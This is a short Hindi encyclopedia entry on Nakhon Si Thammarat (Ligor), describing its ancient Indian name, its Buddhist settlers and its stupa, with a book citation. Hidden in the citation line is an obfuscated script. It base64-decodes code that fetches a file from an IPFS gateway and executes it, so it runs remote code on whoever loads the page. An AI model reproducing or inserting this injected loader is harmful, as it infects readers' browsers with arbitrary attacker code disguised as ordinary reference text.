नाखोनश्रीधम्मरत
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नाखोनश्रीधम्मरत मलय प्राय:द्वीप में स्थित 'लिगोर' नामक स्थान का प्राचीन भारतीय नाम है।[1]
- मलाया के इस स्थान को भारत के बौद्धों ने उपनिवेश बनाकर बसाया था।
- इस स्थान का नाम 'नाखोनधम्मरत' नामक स्तूप के कारण पड़ा है।
- यह स्तूप पचास मंदिरों के बीच में बनाया गया था, जो भारतीय औपनिवेशकों की वास्तुकला का परिचायक है।
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टीका टिप्पणी और संदर्भ
- ↑ ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 482 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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